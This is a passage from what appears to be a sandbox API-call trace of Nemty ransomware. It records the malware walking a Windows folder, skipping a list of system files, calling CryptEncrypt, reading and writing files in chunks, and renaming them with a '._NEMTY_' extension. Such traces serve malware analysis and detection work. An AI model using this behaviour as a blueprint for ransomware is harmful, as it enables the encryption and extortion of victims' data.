hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.909] CloseHandle (hObject=0xffffffff) returned 0 [0090.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0090.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0090.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.910] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.910] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2=".") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="..") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="...") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="windows") returned -1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="rsa") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="NTDETECT.COM") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="ntldr") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="MSDOS.SYS") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="IO.SYS") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="boot.ini") returned 1 [0090.910] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="boot.ini") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="ntuser.dat") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="desktop.ini") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="CONFIG.SYS") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="RECYCLER") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="bootmgr") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="programdata") returned 1 [0090.911] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="appdata") returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0090.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0090.912] Sleep (dwMilliseconds=0x5) [0090.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9d61230, dwHighDateTime=0x1d561e7)) [0090.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9d61230, dwHighDateTime=0x1d561e7)) [0090.914] GetLastError () returned 0x5 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.915] GetLastError () returned 0x5 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.915] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.915] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.915] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0090.915] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="f8PFzMHAcTmumnFAGPU+dPb+HYzzbn40Gcau98buNs3Z7N8I7iS+vdWgNI7rhomT\r\nD6AOQaaYjg/xfsobBTsqtQT0Q0XERZwTfTdQN13fI6ydCZmaPNGxObduVggG+8yH\r\n+F49TGM6VF0bzk738ymA/5Y955cedQjMNWt14z8bs8RPdTfb0u/BxQ6uiy2GAFN6\r\nd0nkFULtEDid6CBPYSXCEE8k5NONEPAvvgHQ4V0HWg0fnXXRhdFF35gojoPEKeJZ\r\n/lkLhc18NQ41T9RzJGL+0CYQcRgZa6fqWsRDMoGcl4Ewk/pZ6zXNcKj2KIC/VJfy\r\nrcuf+hgBI6Tbd+oQpEqoNw==\r\n", pcchString=0x653e91c) returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0090.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.915] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.915] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.006] 